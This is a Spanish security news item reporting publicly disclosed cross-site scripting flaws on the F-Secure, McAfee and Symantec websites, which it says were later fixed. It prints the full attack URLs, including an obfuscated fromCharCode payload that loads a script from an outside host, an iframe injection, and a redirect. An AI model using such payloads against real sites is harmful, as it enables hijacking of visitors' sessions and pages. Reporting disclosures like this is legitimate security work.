XSS en F-Secure, Mcafee y Symantec

XSSed ha publicado tres XSS en los sitios web de las empresas F-Secure, Mcafee y Symantec. Las vulnerabilidades fueron reportadas por "Zeitjak" y "dick" en abril de 2011 pero estuvieron activas hasta enero de 2012, cuando XSSed las hizo públicas.

• F-Secure.com (http://www.xssed.com/mirror/72776/):

https://kb.f-secure.com/userSetSession.aspx?c=0&cpc=0&cid=0&t="><body+onload="document%2Ewrite(String.fromCharCode(60,115,99,114,105,112,116,47,115,114,99,61,104,116,116,112,58,47,47,122,46,108,46,116,111,62,60,47,115,99,114,105,112,116,62))"+


• McAfee.com (http://www.xssed.com/mirror/72724/):

http://go.mcafee.com/activation.cfm?firewall_id="style="background-image:url('http://i.imgur.com/oHp8A.gif')"onfocus="document.write(String.fromCharCode(60)%2B'iframe src=http://xssed.com height=100%25width=100%25>'%2BString.fromCharCode(60)%2B'/iframe>'%2BString.fromCharCode(60)%2B'script>alert(/XSS/)'%2BString.fromCharCode(60)%2B'/script>')" foo="bar


• Symantec.com (http://www.xssed.com/mirror/70522/):

https://fileconnect.symantec.com/licenselogin.jsp?localeStr=en_US";document.location="http://www.xssed.com";//


Tal y como predecían en XSSed, luego de hacerse público los errores, las tres empresas han solucionado rápidamente el problema.

Cristian de la Redacción de Segu-Info

Suscríbete a nuestro Boletín